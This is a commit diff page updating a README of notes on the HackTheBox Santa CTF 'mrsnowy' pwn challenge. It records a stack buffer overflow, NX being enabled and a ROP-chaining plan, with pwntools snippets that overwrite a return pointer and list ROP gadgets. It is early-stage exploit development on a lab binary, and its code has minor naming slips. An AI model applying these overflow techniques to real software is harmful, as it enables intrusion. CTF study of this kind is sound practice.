aaron/htb-santa-ctf
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

update

Browse Source
This commit is contained in:
aaron
2021-12-06 15:00:31 +01:00
parent dfd1a6dd31
commit 9c7e6ec56b
1 changed files with 18 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files

22
pwn/mrsnowy/README.md
View File

@@ -8,14 +8,18 @@ Something must be wrong with him.
## Progress so far ## Progress so far
- `read()` reads 0x108 bytes ![vulnerable function](images/investigate.png)
- The Stackframe has a size of 0x40 bytes
- The `read()` reads 0x108 bytes of input from stdin
- The buffer is uninitialized
- The functioncall sits at `*investigate+67`
- The Stackframe of the function only has a size of 0x40 bytes
- `checksec --file=mrsnowy` reports NX being enabled - `checksec --file=mrsnowy` reports NX being enabled
- So no shellcode will be placable unless there is executable space - So no shellcode will be placable unless there is executable space
- This hints to ROP Chaining - This hints to ROP Chaining
- The binary should be patched to get rid of the timetaking animation - The binary should be patched to get rid of the timetaking animation
- Just `nop` the banner() function call - Just `nop` the banner() function call using radare2
- Overwriting the returnpointer of `investigate()`: - Overwriting the returnpointer of `investigate()` using pwntools:
```python ```python
context(arch='x86_64', os='linux') context(arch='x86_64', os='linux')
@@ -23,6 +27,7 @@ context.terminal = ['/usr/bin/alacritty', '-e']
e = ELF("mr_snowy") e = ELF("mr_snowy")
p = process(e.path) p = process(e.path)
# read banner and stuff until input is requested
def do_read(): def do_read():
while True: while True:
ll = p.read() ll = p.read()
@@ -41,3 +46,12 @@ p.sendline(b'\xCC' * 0x48 + p64(0x7fffffffc000))
# start the python debugger to get a coredump which is loadable by gdb # start the python debugger to get a coredump which is loadable by gdb
ipdb.set_trace() ipdb.set_trace()
``` ```
- Trying to find ROP Gadgets using pwntools
```python
e = ELF("mr_snowy")
rop = ROP(elf)
rop.rbx
rop.gadgets
```